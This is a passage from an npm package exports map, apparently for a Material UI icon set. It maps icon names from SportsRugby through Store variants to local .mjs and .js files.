{\n      \"import\": \"./SportsRounded.mjs\",\n      \"require\": \"./SportsRounded.js\",\n      \"default\": \"./SportsRounded.mjs\"\n    },\n    \"./SportsRugby\": {\n      \"import\": \"./SportsRugby.mjs\",\n      \"require\": \"./SportsRugby.js\",\n      \"default\": \"./SportsRugby.mjs\"\n    },\n    \"./SportsRugbyOutlined\": {\n      \"import\": \"./SportsRugbyOutlined.mjs\",\n      \"require\": \"./SportsRugbyOutlined.js\",\n      \"default\": \"./SportsRugbyOutlined.mjs\"\n    },\n    \"./SportsRugbyRounded\": {\n      \"require\": \"./SportsRugbyRounded.js\",\n      \"import\": \"./SportsRugbyRounded.mjs\",\n      \"default\": \"./SportsRugbyRounded.mjs\"\n    },\n    \"./SportsRugbySharp\": {\n      \"require\": \"./SportsRugbySharp.js\",\n      \"import\": \"./SportsRugbySharp.mjs\",\n      \"default\": \"./SportsRugbySharp.mjs\"\n    },\n    \"./SportsRugbyTwoTone\": {\n      \"require\": \"./SportsRugbyTwoTone.js\",\n      \"import\": \"./SportsRugbyTwoTone.mjs\",\n      \"default\": \"./SportsRugbyTwoTone.mjs\"\n    },\n    \"./SportsScore\": {\n      \"require\": \"./SportsScore.js\",\n      \"import\": \"./SportsScore.mjs\",\n      \"default\": \"./SportsScore.mjs\"\n    },\n    \"./SportsScoreOutlined\": {\n      \"require\": \"./SportsScoreOutlined.js\",\n      \"import\": \"./SportsScoreOutlined.mjs\",\n      \"default\": \"./SportsScoreOutlined.mjs\"\n    },\n    \"./SportsScoreRounded\": {\n      \"require\": \"./SportsScoreRounded.js\",\n      \"import\": \"./SportsScoreRounded.mjs\",\n      \"default\": \"./SportsScoreRounded.mjs\"\n    },\n    \"./SportsScoreSharp\": {\n      \"require\": \"./SportsScoreSharp.js\",\n      \"import\": \"./SportsScoreSharp.mjs\",\n      \"default\": \"./SportsScoreSharp.mjs\"\n    },\n    \"./SportsScoreTwoTone\": {\n      \"require\": \"./SportsScoreTwoTone.js\",\n      \"import\": \"./SportsScoreTwoTone.mjs\",\n      \"default\": \"./SportsScoreTwoTone.mjs\"\n    },\n    \"./SportsSharp\": {\n      \"require\": \"./SportsSharp.js\",\n      \"import\": \"./SportsSharp.mjs\",\n      \"default\": \"./SportsSharp.mjs\"\n    },\n    \"./SportsSoccer\": {\n      \"require\": \"./SportsSoccer.js\",\n      \"import\": \"./SportsSoccer.mjs\",\n      \"default\": \"./SportsSoccer.mjs\"\n    },\n    \"./SportsSoccerOutlined\": {\n      \"require\": \"./SportsSoccerOutlined.js\",\n      \"import\": \"./SportsSoccerOutlined.mjs\",\n      \"default\": \"./SportsSoccerOutlined.mjs\"\n    },\n    \"./SportsSoccerRounded\": {\n      \"require\": \"./SportsSoccerRounded.js\",\n      \"import\": \"./SportsSoccerRounded.mjs\",\n      \"default\": \"./SportsSoccerRounded.mjs\"\n    },\n    \"./SportsSoccerSharp\": {\n      \"require\": \"./SportsSoccerSharp.js\",\n      \"import\": \"./SportsSoccerSharp.mjs\",\n      \"default\": \"./SportsSoccerSharp.mjs\"\n    },\n    \"./SportsSoccerTwoTone\": {\n      \"require\": \"./SportsSoccerTwoTone.js\",\n      \"import\": \"./SportsSoccerTwoTone.mjs\",\n      \"default\": \"./SportsSoccerTwoTone.mjs\"\n    },\n    \"./SportsTennis\": {\n      \"require\": \"./SportsTennis.js\",\n      \"import\": \"./SportsTennis.mjs\",\n      \"default\": \"./SportsTennis.mjs\"\n    },\n    \"./SportsTennisOutlined\": {\n      \"require\": \"./SportsTennisOutlined.js\",\n      \"import\": \"./SportsTennisOutlined.mjs\",\n      \"default\": \"./SportsTennisOutlined.mjs\"\n    },\n    \"./SportsTennisRounded\": {\n      \"require\": \"./SportsTennisRounded.js\",\n      \"import\": \"./SportsTennisRounded.mjs\",\n      \"default\": \"./SportsTennisRounded.mjs\"\n    },\n    \"./SportsTennisSharp\": {\n      \"require\": \"./SportsTennisSharp.js\",\n      \"import\": \"./SportsTennisSharp.mjs\",\n      \"default\": \"./SportsTennisSharp.mjs\"\n    },\n    \"./SportsTennisTwoTone\": {\n      \"require\": \"./SportsTennisTwoTone.js\",\n      \"import\": \"./SportsTennisTwoTone.mjs\",\n      \"default\": \"./SportsTennisTwoTone.mjs\"\n    },\n    \"./SportsTwoTone\": {\n      \"require\": \"./SportsTwoTone.js\",\n      \"import\": \"./SportsTwoTone.mjs\",\n      \"default\": \"./SportsTwoTone.mjs\"\n    },\n    \"./SportsVolleyball\": {\n      \"require\": \"./SportsVolleyball.js\",\n      \"import\": \"./SportsVolleyball.mjs\",\n      \"default\": \"./SportsVolleyball.mjs\"\n    },\n    \"./SportsVolleyballOutlined\": {\n      \"require\": \"./SportsVolleyballOutlined.js\",\n      \"import\": \"./SportsVolleyballOutlined.mjs\",\n      \"default\": \"./SportsVolleyballOutlined.mjs\"\n    },\n    \"./SportsVolleyballRounded\": {\n      \"require\": \"./SportsVolleyballRounded.js\",\n      \"import\": \"./SportsVolleyballRounded.mjs\",\n      \"default\": \"./SportsVolleyballRounded.mjs\"\n    },\n    \"./SportsVolleyballSharp\": {\n      \"require\": \"./SportsVolleyballSharp.js\",\n      \"import\": \"./SportsVolleyballSharp.mjs\",\n      \"default\": \"./SportsVolleyballSharp.mjs\"\n    },\n    \"./SportsVolleyballTwoTone\": {\n      \"require\": \"./SportsVolleyballTwoTone.js\",\n      \"import\": \"./SportsVolleyballTwoTone.mjs\",\n      \"default\": \"./SportsVolleyballTwoTone.mjs\"\n    },\n    \"./Square\": {\n      \"require\": \"./Square.js\",\n      \"import\": \"./Square.mjs\",\n      \"default\": \"./Square.mjs\"\n    },\n    \"./SquareFoot\": {\n      \"import\": \"./SquareFoot.mjs\",\n      \"require\": \"./SquareFoot.js\",\n      \"default\": \"./SquareFoot.mjs\"\n    },\n    \"./SquareFootOutlined\": {\n      \"import\": \"./SquareFootOutlined.mjs\",\n      \"require\": \"./SquareFootOutlined.js\",\n      \"default\": \"./SquareFootOutlined.mjs\"\n    },\n    \"./SquareFootRounded\": {\n      \"import\": \"./SquareFootRounded.mjs\",\n      \"require\": \"./SquareFootRounded.js\",\n      \"default\": \"./SquareFootRounded.mjs\"\n    },\n    \"./SquareFootSharp\": {\n      \"import\": \"./SquareFootSharp.mjs\",\n      \"require\": \"./SquareFootSharp.js\",\n      \"default\": \"./SquareFootSharp.mjs\"\n    },\n    \"./SquareFootTwoTone\": {\n      \"import\": \"./SquareFootTwoTone.mjs\",\n      \"require\": \"./SquareFootTwoTone.js\",\n      \"default\": \"./SquareFootTwoTone.mjs\"\n    },\n    \"./SquareOutlined\": {\n      \"import\": \"./SquareOutlined.mjs\",\n      \"require\": \"./SquareOutlined.js\",\n      \"default\": \"./SquareOutlined.mjs\"\n    },\n    \"./SquareRounded\": {\n      \"import\": \"./SquareRounded.mjs\",\n      \"require\": \"./SquareRounded.js\",\n      \"default\": \"./SquareRounded.mjs\"\n    },\n    \"./SquareSharp\": {\n      \"import\": \"./SquareSharp.mjs\",\n      \"require\": \"./SquareSharp.js\",\n      \"default\": \"./SquareSharp.mjs\"\n    },\n    \"./SquareTwoTone\": {\n      \"import\": \"./SquareTwoTone.mjs\",\n      \"require\": \"./SquareTwoTone.js\",\n      \"default\": \"./SquareTwoTone.mjs\"\n    },\n    \"./SsidChart\": {\n      \"import\": \"./SsidChart.mjs\",\n      \"require\": \"./SsidChart.js\",\n      \"default\": \"./SsidChart.mjs\"\n    },\n    \"./SsidChartOutlined\": {\n      \"import\": \"./SsidChartOutlined.mjs\",\n      \"require\": \"./SsidChartOutlined.js\",\n      \"default\": \"./SsidChartOutlined.mjs\"\n    },\n    \"./SsidChartRounded\": {\n      \"import\": \"./SsidChartRounded.mjs\",\n      \"require\": \"./SsidChartRounded.js\",\n      \"default\": \"./SsidChartRounded.mjs\"\n    },\n    \"./SsidChartSharp\": {\n      \"require\": \"./SsidChartSharp.js\",\n      \"import\": \"./SsidChartSharp.mjs\",\n      \"default\": \"./SsidChartSharp.mjs\"\n    },\n    \"./SsidChartTwoTone\": {\n      \"require\": \"./SsidChartTwoTone.js\",\n      \"import\": \"./SsidChartTwoTone.mjs\",\n      \"default\": \"./SsidChartTwoTone.mjs\"\n    },\n    \"./StackedBarChart\": {\n      \"require\": \"./StackedBarChart.js\",\n      \"import\": \"./StackedBarChart.mjs\",\n      \"default\": \"./StackedBarChart.mjs\"\n    },\n    \"./StackedBarChartOutlined\": {\n      \"require\": \"./StackedBarChartOutlined.js\",\n      \"import\": \"./StackedBarChartOutlined.mjs\",\n      \"default\": \"./StackedBarChartOutlined.mjs\"\n    },\n    \"./StackedBarChartRounded\": {\n      \"require\": \"./StackedBarChartRounded.js\",\n      \"import\": \"./StackedBarChartRounded.mjs\",\n      \"default\": \"./StackedBarChartRounded.mjs\"\n    },\n    \"./StackedBarChartSharp\": {\n      \"require\": \"./StackedBarChartSharp.js\",\n      \"import\": \"./StackedBarChartSharp.mjs\",\n      \"default\": \"./StackedBarChartSharp.mjs\"\n    },\n    \"./StackedBarChartTwoTone\": {\n      \"require\": \"./StackedBarChartTwoTone.js\",\n      \"import\": \"./StackedBarChartTwoTone.mjs\",\n      \"default\": \"./StackedBarChartTwoTone.mjs\"\n    },\n    \"./StackedLineChart\": {\n      \"import\": \"./StackedLineChart.mjs\",\n      \"require\": \"./StackedLineChart.js\",\n      \"default\": \"./StackedLineChart.mjs\"\n    },\n    \"./StackedLineChartOutlined\": {\n      \"import\": \"./StackedLineChartOutlined.mjs\",\n      \"require\": \"./StackedLineChartOutlined.js\",\n      \"default\": \"./StackedLineChartOutlined.mjs\"\n    },\n    \"./StackedLineChartRounded\": {\n      \"import\": \"./StackedLineChartRounded.mjs\",\n      \"require\": \"./StackedLineChartRounded.js\",\n      \"default\": \"./StackedLineChartRounded.mjs\"\n    },\n    \"./StackedLineChartSharp\": {\n      \"import\": \"./StackedLineChartSharp.mjs\",\n      \"require\": \"./StackedLineChartSharp.js\",\n      \"default\": \"./StackedLineChartSharp.mjs\"\n    },\n    \"./StackedLineChartTwoTone\": {\n      \"import\": \"./StackedLineChartTwoTone.mjs\",\n      \"require\": \"./StackedLineChartTwoTone.js\",\n      \"default\": \"./StackedLineChartTwoTone.mjs\"\n    },\n    \"./Stadium\": {\n      \"import\": \"./Stadium.mjs\",\n      \"require\": \"./Stadium.js\",\n      \"default\": \"./Stadium.mjs\"\n    },\n    \"./StadiumOutlined\": {\n      \"import\": \"./StadiumOutlined.mjs\",\n      \"require\": \"./StadiumOutlined.js\",\n      \"default\": \"./StadiumOutlined.mjs\"\n    },\n    \"./StadiumRounded\": {\n      \"import\": \"./StadiumRounded.mjs\",\n      \"require\": \"./StadiumRounded.js\",\n      \"default\": \"./StadiumRounded.mjs\"\n    },\n    \"./StadiumSharp\": {\n      \"import\": \"./StadiumSharp.mjs\",\n      \"require\": \"./StadiumSharp.js\",\n      \"default\": \"./StadiumSharp.mjs\"\n    },\n    \"./StadiumTwoTone\": {\n      \"import\": \"./StadiumTwoTone.mjs\",\n      \"require\": \"./StadiumTwoTone.js\",\n      \"default\": \"./StadiumTwoTone.mjs\"\n    },\n    \"./Stairs\": {\n      \"import\": \"./Stairs.mjs\",\n      \"require\": \"./Stairs.js\",\n      \"default\": \"./Stairs.mjs\"\n    },\n    \"./StairsOutlined\": {\n      \"import\": \"./StairsOutlined.mjs\",\n      \"require\": \"./StairsOutlined.js\",\n      \"default\": \"./StairsOutlined.mjs\"\n    },\n    \"./StairsRounded\": {\n      \"import\": \"./StairsRounded.mjs\",\n      \"require\": \"./StairsRounded.js\",\n      \"default\": \"./StairsRounded.mjs\"\n    },\n    \"./StairsSharp\": {\n      \"import\": \"./StairsSharp.mjs\",\n      \"require\": \"./StairsSharp.js\",\n      \"default\": \"./StairsSharp.mjs\"\n    },\n    \"./StairsTwoTone\": {\n      \"import\": \"./StairsTwoTone.mjs\",\n      \"require\": \"./StairsTwoTone.js\",\n      \"default\": \"./StairsTwoTone.mjs\"\n    },\n    \"./Star\": {\n      \"import\": \"./Star.mjs\",\n      \"require\": \"./Star.js\",\n      \"default\": \"./Star.mjs\"\n    },\n    \"./StarBorder\": {\n      \"import\": \"./StarBorder.mjs\",\n      \"require\": \"./StarBorder.js\",\n      \"default\": \"./StarBorder.mjs\"\n    },\n    \"./StarBorderOutlined\": {\n      \"import\": \"./StarBorderOutlined.mjs\",\n      \"require\": \"./StarBorderOutlined.js\",\n      \"default\": \"./StarBorderOutlined.mjs\"\n    },\n    \"./StarBorderPurple500\": {\n      \"import\": \"./StarBorderPurple500.mjs\",\n      \"require\": \"./StarBorderPurple500.js\",\n      \"default\": \"./StarBorderPurple500.mjs\"\n    },\n    \"./StarBorderPurple500Outlined\": {\n      \"import\": \"./StarBorderPurple500Outlined.mjs\",\n      \"require\": \"./StarBorderPurple500Outlined.js\",\n      \"default\": \"./StarBorderPurple500Outlined.mjs\"\n    },\n    \"./StarBorderPurple500Rounded\": {\n      \"import\": \"./StarBorderPurple500Rounded.mjs\",\n      \"require\": \"./StarBorderPurple500Rounded.js\",\n      \"default\": \"./StarBorderPurple500Rounded.mjs\"\n    },\n    \"./StarBorderPurple500Sharp\": {\n      \"import\": \"./StarBorderPurple500Sharp.mjs\",\n      \"require\": \"./StarBorderPurple500Sharp.js\",\n      \"default\": \"./StarBorderPurple500Sharp.mjs\"\n    },\n    \"./StarBorderPurple500TwoTone\": {\n      \"import\": \"./StarBorderPurple500TwoTone.mjs\",\n      \"require\": \"./StarBorderPurple500TwoTone.js\",\n      \"default\": \"./StarBorderPurple500TwoTone.mjs\"\n    },\n    \"./StarBorderRounded\": {\n      \"import\": \"./StarBorderRounded.mjs\",\n      \"require\": \"./StarBorderRounded.js\",\n      \"default\": \"./StarBorderRounded.mjs\"\n    },\n    \"./StarBorderSharp\": {\n      \"import\": \"./StarBorderSharp.mjs\",\n      \"require\": \"./StarBorderSharp.js\",\n      \"default\": \"./StarBorderSharp.mjs\"\n    },\n    \"./StarBorderTwoTone\": {\n      \"import\": \"./StarBorderTwoTone.mjs\",\n      \"require\": \"./StarBorderTwoTone.js\",\n      \"default\": \"./StarBorderTwoTone.mjs\"\n    },\n    \"./StarHalf\": {\n      \"require\": \"./StarHalf.js\",\n      \"import\": \"./StarHalf.mjs\",\n      \"default\": \"./StarHalf.mjs\"\n    },\n    \"./StarHalfOutlined\": {\n      \"require\": \"./StarHalfOutlined.js\",\n      \"import\": \"./StarHalfOutlined.mjs\",\n      \"default\": \"./StarHalfOutlined.mjs\"\n    },\n    \"./StarHalfRounded\": {\n      \"require\": \"./StarHalfRounded.js\",\n      \"import\": \"./StarHalfRounded.mjs\",\n      \"default\": \"./StarHalfRounded.mjs\"\n    },\n    \"./StarHalfSharp\": {\n      \"require\": \"./StarHalfSharp.js\",\n      \"import\": \"./StarHalfSharp.mjs\",\n      \"default\": \"./StarHalfSharp.mjs\"\n    },\n    \"./StarHalfTwoTone\": {\n      \"require\": \"./StarHalfTwoTone.js\",\n      \"import\": \"./StarHalfTwoTone.mjs\",\n      \"default\": \"./StarHalfTwoTone.mjs\"\n    },\n    \"./StarOutline\": {\n      \"require\": \"./StarOutline.js\",\n      \"import\": \"./StarOutline.mjs\",\n      \"default\": \"./StarOutline.mjs\"\n    },\n    \"./StarOutlineOutlined\": {\n      \"require\": \"./StarOutlineOutlined.js\",\n      \"import\": \"./StarOutlineOutlined.mjs\",\n      \"default\": \"./StarOutlineOutlined.mjs\"\n    },\n    \"./StarOutlineRounded\": {\n      \"require\": \"./StarOutlineRounded.js\",\n      \"import\": \"./StarOutlineRounded.mjs\",\n      \"default\": \"./StarOutlineRounded.mjs\"\n    },\n    \"./StarOutlineSharp\": {\n      \"require\": \"./StarOutlineSharp.js\",\n      \"import\": \"./StarOutlineSharp.mjs\",\n      \"default\": \"./StarOutlineSharp.mjs\"\n    },\n    \"./StarOutlineTwoTone\": {\n      \"require\": \"./StarOutlineTwoTone.js\",\n      \"import\": \"./StarOutlineTwoTone.mjs\",\n      \"default\": \"./StarOutlineTwoTone.mjs\"\n    },\n    \"./StarOutlined\": {\n      \"require\": \"./StarOutlined.js\",\n      \"import\": \"./StarOutlined.mjs\",\n      \"default\": \"./StarOutlined.mjs\"\n    },\n    \"./StarPurple500\": {\n      \"require\": \"./StarPurple500.js\",\n      \"import\": \"./StarPurple500.mjs\",\n      \"default\": \"./StarPurple500.mjs\"\n    },\n    \"./StarPurple500Outlined\": {\n      \"require\": \"./StarPurple500Outlined.js\",\n      \"import\": \"./StarPurple500Outlined.mjs\",\n      \"default\": \"./StarPurple500Outlined.mjs\"\n    },\n    \"./StarPurple500Rounded\": {\n      \"require\": \"./StarPurple500Rounded.js\",\n      \"import\": \"./StarPurple500Rounded.mjs\",\n      \"default\": \"./StarPurple500Rounded.mjs\"\n    },\n    \"./StarPurple500Sharp\": {\n      \"require\": \"./StarPurple500Sharp.js\",\n      \"import\": \"./StarPurple500Sharp.mjs\",\n      \"default\": \"./StarPurple500Sharp.mjs\"\n    },\n    \"./StarPurple500TwoTone\": {\n      \"require\": \"./StarPurple500TwoTone.js\",\n      \"import\": \"./StarPurple500TwoTone.mjs\",\n      \"default\": \"./StarPurple500TwoTone.mjs\"\n    },\n    \"./StarRate\": {\n      \"require\": \"./StarRate.js\",\n      \"import\": \"./StarRate.mjs\",\n      \"default\": \"./StarRate.mjs\"\n    },\n    \"./StarRateOutlined\": {\n      \"require\": \"./StarRateOutlined.js\",\n      \"import\": \"./StarRateOutlined.mjs\",\n      \"default\": \"./StarRateOutlined.mjs\"\n    },\n    \"./StarRateRounded\": {\n      \"require\": \"./StarRateRounded.js\",\n      \"import\": \"./StarRateRounded.mjs\",\n      \"default\": \"./StarRateRounded.mjs\"\n    },\n    \"./StarRateSharp\": {\n      \"import\": \"./StarRateSharp.mjs\",\n      \"require\": \"./StarRateSharp.js\",\n      \"default\": \"./StarRateSharp.mjs\"\n    },\n    \"./StarRateTwoTone\": {\n      \"import\": \"./StarRateTwoTone.mjs\",\n      \"require\": \"./StarRateTwoTone.js\",\n      \"default\": \"./StarRateTwoTone.mjs\"\n    },\n    \"./StarRounded\": {\n      \"import\": \"./StarRounded.mjs\",\n      \"require\": \"./StarRounded.js\",\n      \"default\": \"./StarRounded.mjs\"\n    },\n    \"./StarSharp\": {\n      \"import\": \"./StarSharp.mjs\",\n      \"require\": \"./StarSharp.js\",\n      \"default\": \"./StarSharp.mjs\"\n    },\n    \"./StarTwoTone\": {\n      \"import\": \"./StarTwoTone.mjs\",\n      \"require\": \"./StarTwoTone.js\",\n      \"default\": \"./StarTwoTone.mjs\"\n    },\n    \"./Stars\": {\n      \"import\": \"./Stars.mjs\",\n      \"require\": \"./Stars.js\",\n      \"default\": \"./Stars.mjs\"\n    },\n    \"./StarsOutlined\": {\n      \"import\": \"./StarsOutlined.mjs\",\n      \"require\": \"./StarsOutlined.js\",\n      \"default\": \"./StarsOutlined.mjs\"\n    },\n    \"./StarsRounded\": {\n      \"import\": \"./StarsRounded.mjs\",\n      \"require\": \"./StarsRounded.js\",\n      \"default\": \"./StarsRounded.mjs\"\n    },\n    \"./StarsSharp\": {\n      \"import\": \"./StarsSharp.mjs\",\n      \"require\": \"./StarsSharp.js\",\n      \"default\": \"./StarsSharp.mjs\"\n    },\n    \"./StarsTwoTone\": {\n      \"import\": \"./StarsTwoTone.mjs\",\n      \"require\": \"./StarsTwoTone.js\",\n      \"default\": \"./StarsTwoTone.mjs\"\n    },\n    \"./Start\": {\n      \"import\": \"./Start.mjs\",\n      \"require\": \"./Start.js\",\n      \"default\": \"./Start.mjs\"\n    },\n    \"./StartOutlined\": {\n      \"import\": \"./StartOutlined.mjs\",\n      \"require\": \"./StartOutlined.js\",\n      \"default\": \"./StartOutlined.mjs\"\n    },\n    \"./StartRounded\": {\n      \"import\": \"./StartRounded.mjs\",\n      \"require\": \"./StartRounded.js\",\n      \"default\": \"./StartRounded.mjs\"\n    },\n    \"./StartSharp\": {\n      \"import\": \"./StartSharp.mjs\",\n      \"require\": \"./StartSharp.js\",\n      \"default\": \"./StartSharp.mjs\"\n    },\n    \"./StartTwoTone\": {\n      \"require\": \"./StartTwoTone.js\",\n      \"import\": \"./StartTwoTone.mjs\",\n      \"default\": \"./StartTwoTone.mjs\"\n    },\n    \"./StayCurrentLandscape\": {\n      \"require\": \"./StayCurrentLandscape.js\",\n      \"import\": \"./StayCurrentLandscape.mjs\",\n      \"default\": \"./StayCurrentLandscape.mjs\"\n    },\n    \"./StayCurrentLandscapeOutlined\": {\n      \"require\": \"./StayCurrentLandscapeOutlined.js\",\n      \"import\": \"./StayCurrentLandscapeOutlined.mjs\",\n      \"default\": \"./StayCurrentLandscapeOutlined.mjs\"\n    },\n    \"./StayCurrentLandscapeRounded\": {\n      \"require\": \"./StayCurrentLandscapeRounded.js\",\n      \"import\": \"./StayCurrentLandscapeRounded.mjs\",\n      \"default\": \"./StayCurrentLandscapeRounded.mjs\"\n    },\n    \"./StayCurrentLandscapeSharp\": {\n      \"require\": \"./StayCurrentLandscapeSharp.js\",\n      \"import\": \"./StayCurrentLandscapeSharp.mjs\",\n      \"default\": \"./StayCurrentLandscapeSharp.mjs\"\n    },\n    \"./StayCurrentLandscapeTwoTone\": {\n      \"require\": \"./StayCurrentLandscapeTwoTone.js\",\n      \"import\": \"./StayCurrentLandscapeTwoTone.mjs\",\n      \"default\": \"./StayCurrentLandscapeTwoTone.mjs\"\n    },\n    \"./StayCurrentPortrait\": {\n      \"require\": \"./StayCurrentPortrait.js\",\n      \"import\": \"./StayCurrentPortrait.mjs\",\n      \"default\": \"./StayCurrentPortrait.mjs\"\n    },\n    \"./StayCurrentPortraitOutlined\": {\n      \"require\": \"./StayCurrentPortraitOutlined.js\",\n      \"import\": \"./StayCurrentPortraitOutlined.mjs\",\n      \"default\": \"./StayCurrentPortraitOutlined.mjs\"\n    },\n    \"./StayCurrentPortraitRounded\": {\n      \"require\": \"./StayCurrentPortraitRounded.js\",\n      \"import\": \"./StayCurrentPortraitRounded.mjs\",\n      \"default\": \"./StayCurrentPortraitRounded.mjs\"\n    },\n    \"./StayCurrentPortraitSharp\": {\n      \"require\": \"./StayCurrentPortraitSharp.js\",\n      \"import\": \"./StayCurrentPortraitSharp.mjs\",\n      \"default\": \"./StayCurrentPortraitSharp.mjs\"\n    },\n    \"./StayCurrentPortraitTwoTone\": {\n      \"require\": \"./StayCurrentPortraitTwoTone.js\",\n      \"import\": \"./StayCurrentPortraitTwoTone.mjs\",\n      \"default\": \"./StayCurrentPortraitTwoTone.mjs\"\n    },\n    \"./StayPrimaryLandscape\": {\n      \"require\": \"./StayPrimaryLandscape.js\",\n      \"import\": \"./StayPrimaryLandscape.mjs\",\n      \"default\": \"./StayPrimaryLandscape.mjs\"\n    },\n    \"./StayPrimaryLandscapeOutlined\": {\n      \"require\": \"./StayPrimaryLandscapeOutlined.js\",\n      \"import\": \"./StayPrimaryLandscapeOutlined.mjs\",\n      \"default\": \"./StayPrimaryLandscapeOutlined.mjs\"\n    },\n    \"./StayPrimaryLandscapeRounded\": {\n      \"require\": \"./StayPrimaryLandscapeRounded.js\",\n      \"import\": \"./StayPrimaryLandscapeRounded.mjs\",\n      \"default\": \"./StayPrimaryLandscapeRounded.mjs\"\n    },\n    \"./StayPrimaryLandscapeSharp\": {\n      \"require\": \"./StayPrimaryLandscapeSharp.js\",\n      \"import\": \"./StayPrimaryLandscapeSharp.mjs\",\n      \"default\": \"./StayPrimaryLandscapeSharp.mjs\"\n    },\n    \"./StayPrimaryLandscapeTwoTone\": {\n      \"require\": \"./StayPrimaryLandscapeTwoTone.js\",\n      \"import\": \"./StayPrimaryLandscapeTwoTone.mjs\",\n      \"default\": \"./StayPrimaryLandscapeTwoTone.mjs\"\n    },\n    \"./StayPrimaryPortrait\": {\n      \"import\": \"./StayPrimaryPortrait.mjs\",\n      \"require\": \"./StayPrimaryPortrait.js\",\n      \"default\": \"./StayPrimaryPortrait.mjs\"\n    },\n    \"./StayPrimaryPortraitOutlined\": {\n      \"import\": \"./StayPrimaryPortraitOutlined.mjs\",\n      \"require\": \"./StayPrimaryPortraitOutlined.js\",\n      \"default\": \"./StayPrimaryPortraitOutlined.mjs\"\n    },\n    \"./StayPrimaryPortraitRounded\": {\n      \"require\": \"./StayPrimaryPortraitRounded.js\",\n      \"import\": \"./StayPrimaryPortraitRounded.mjs\",\n      \"default\": \"./StayPrimaryPortraitRounded.mjs\"\n    },\n    \"./StayPrimaryPortraitSharp\": {\n      \"import\": \"./StayPrimaryPortraitSharp.mjs\",\n      \"require\": \"./StayPrimaryPortraitSharp.js\",\n      \"default\": \"./StayPrimaryPortraitSharp.mjs\"\n    },\n    \"./StayPrimaryPortraitTwoTone\": {\n      \"import\": \"./StayPrimaryPortraitTwoTone.mjs\",\n      \"require\": \"./StayPrimaryPortraitTwoTone.js\",\n      \"default\": \"./StayPrimaryPortraitTwoTone.mjs\"\n    },\n    \"./StickyNote2\": {\n      \"import\": \"./StickyNote2.mjs\",\n      \"require\": \"./StickyNote2.js\",\n      \"default\": \"./StickyNote2.mjs\"\n    },\n    \"./StickyNote2Outlined\": {\n      \"import\": \"./StickyNote2Outlined.mjs\",\n      \"require\": \"./StickyNote2Outlined.js\",\n      \"default\": \"./StickyNote2Outlined.mjs\"\n    },\n    \"./StickyNote2Rounded\": {\n      \"import\": \"./StickyNote2Rounded.mjs\",\n      \"require\": \"./StickyNote2Rounded.js\",\n      \"default\": \"./StickyNote2Rounded.mjs\"\n    },\n    \"./StickyNote2Sharp\": {\n      \"import\": \"./StickyNote2Sharp.mjs\",\n      \"require\": \"./StickyNote2Sharp.js\",\n      \"default\": \"./StickyNote2Sharp.mjs\"\n    },\n    \"./StickyNote2TwoTone\": {\n      \"import\": \"./StickyNote2TwoTone.mjs\",\n      \"require\": \"./StickyNote2TwoTone.js\",\n      \"default\": \"./StickyNote2TwoTone.mjs\"\n    },\n    \"./Stop\": {\n      \"import\": \"./Stop.mjs\",\n      \"require\": \"./Stop.js\",\n      \"default\": \"./Stop.mjs\"\n    },\n    \"./StopCircle\": {\n      \"import\": \"./StopCircle.mjs\",\n      \"require\": \"./StopCircle.js\",\n      \"default\": \"./StopCircle.mjs\"\n    },\n    \"./StopCircleOutlined\": {\n      \"require\": \"./StopCircleOutlined.js\",\n      \"import\": \"./StopCircleOutlined.mjs\",\n      \"default\": \"./StopCircleOutlined.mjs\"\n    },\n    \"./StopCircleRounded\": {\n      \"require\": \"./StopCircleRounded.js\",\n      \"import\": \"./StopCircleRounded.mjs\",\n      \"default\": \"./StopCircleRounded.mjs\"\n    },\n    \"./StopCircleSharp\": {\n      \"require\": \"./StopCircleSharp.js\",\n      \"import\": \"./StopCircleSharp.mjs\",\n      \"default\": \"./StopCircleSharp.mjs\"\n    },\n    \"./StopCircleTwoTone\": {\n      \"require\": \"./StopCircleTwoTone.js\",\n      \"import\": \"./StopCircleTwoTone.mjs\",\n      \"default\": \"./StopCircleTwoTone.mjs\"\n    },\n    \"./StopOutlined\": {\n      \"require\": \"./StopOutlined.js\",\n      \"import\": \"./StopOutlined.mjs\",\n      \"default\": \"./StopOutlined.mjs\"\n    },\n    \"./StopRounded\": {\n      \"require\": \"./StopRounded.js\",\n      \"import\": \"./StopRounded.mjs\",\n      \"default\": \"./StopRounded.mjs\"\n    },\n    \"./StopScreenShare\": {\n      \"require\": \"./StopScreenShare.js\",\n      \"import\": \"./StopScreenShare.mjs\",\n      \"default\": \"./StopScreenShare.mjs\"\n    },\n    \"./StopScreenShareOutlined\": {\n      \"require\": \"./StopScreenShareOutlined.js\",\n      \"import\": \"./StopScreenShareOutlined.mjs\",\n      \"default\": \"./StopScreenShareOutlined.mjs\"\n    },\n    \"./StopScreenShareRounded\": {\n      \"require\": \"./StopScreenShareRounded.js\",\n      \"import\": \"./StopScreenShareRounded.mjs\",\n      \"default\": \"./StopScreenShareRounded.mjs\"\n    },\n    \"./StopScreenShareSharp\": {\n      \"require\": \"./StopScreenShareSharp.js\",\n      \"import\": \"./StopScreenShareSharp.mjs\",\n      \"default\": \"./StopScreenShareSharp.mjs\"\n    },\n    \"./StopScreenShareTwoTone\": {\n      \"require\": \"./StopScreenShareTwoTone.js\",\n      \"import\": \"./StopScreenShareTwoTone.mjs\",\n      \"default\": \"./StopScreenShareTwoTone.mjs\"\n    },\n    \"./StopSharp\": {\n      \"require\": \"./StopSharp.js\",\n      \"import\": \"./StopSharp.mjs\",\n      \"default\": \"./StopSharp.mjs\"\n    },\n    \"./StopTwoTone\": {\n      \"require\": \"./StopTwoTone.js\",\n      \"import\": \"./StopTwoTone.mjs\",\n      \"default\": \"./StopTwoTone.mjs\"\n    },\n    \"./Storage\": {\n      \"require\": \"./Storage.js\",\n      \"import\": \"./Storage.mjs\",\n      \"default\": \"./Storage.mjs\"\n    },\n    \"./StorageOutlined\": {\n      \"require\": \"./StorageOutlined.js\",\n      \"import\": \"./StorageOutlined.mjs\",\n      \"default\": \"./StorageOutlined.mjs\"\n    },\n    \"./StorageRounded\": {\n      \"import\": \"./StorageRounded.mjs\",\n      \"require\": \"./StorageRounded.js\",\n      \"default\": \"./StorageRounded.mjs\"\n    },\n    \"./StorageSharp\": {\n      \"import\": \"./StorageSharp.mjs\",\n      \"require\": \"./StorageSharp.js\",\n      \"default\": \"./StorageSharp.mjs\"\n    },\n    \"./StorageTwoTone\": {\n      \"import\": \"./StorageTwoTone.mjs\",\n      \"require\": \"./StorageTwoTone.js\",\n      \"default\": \"./StorageTwoTone.mjs\"\n    },\n    \"./Store\": {\n      \"import\": \"./Store.mjs\",\n      \"require\": \"./Store.js\",\n      \"default\": \"./Store.mjs\"\n    },\n    \"./StoreMallDirectory\": {\n      \"import\": 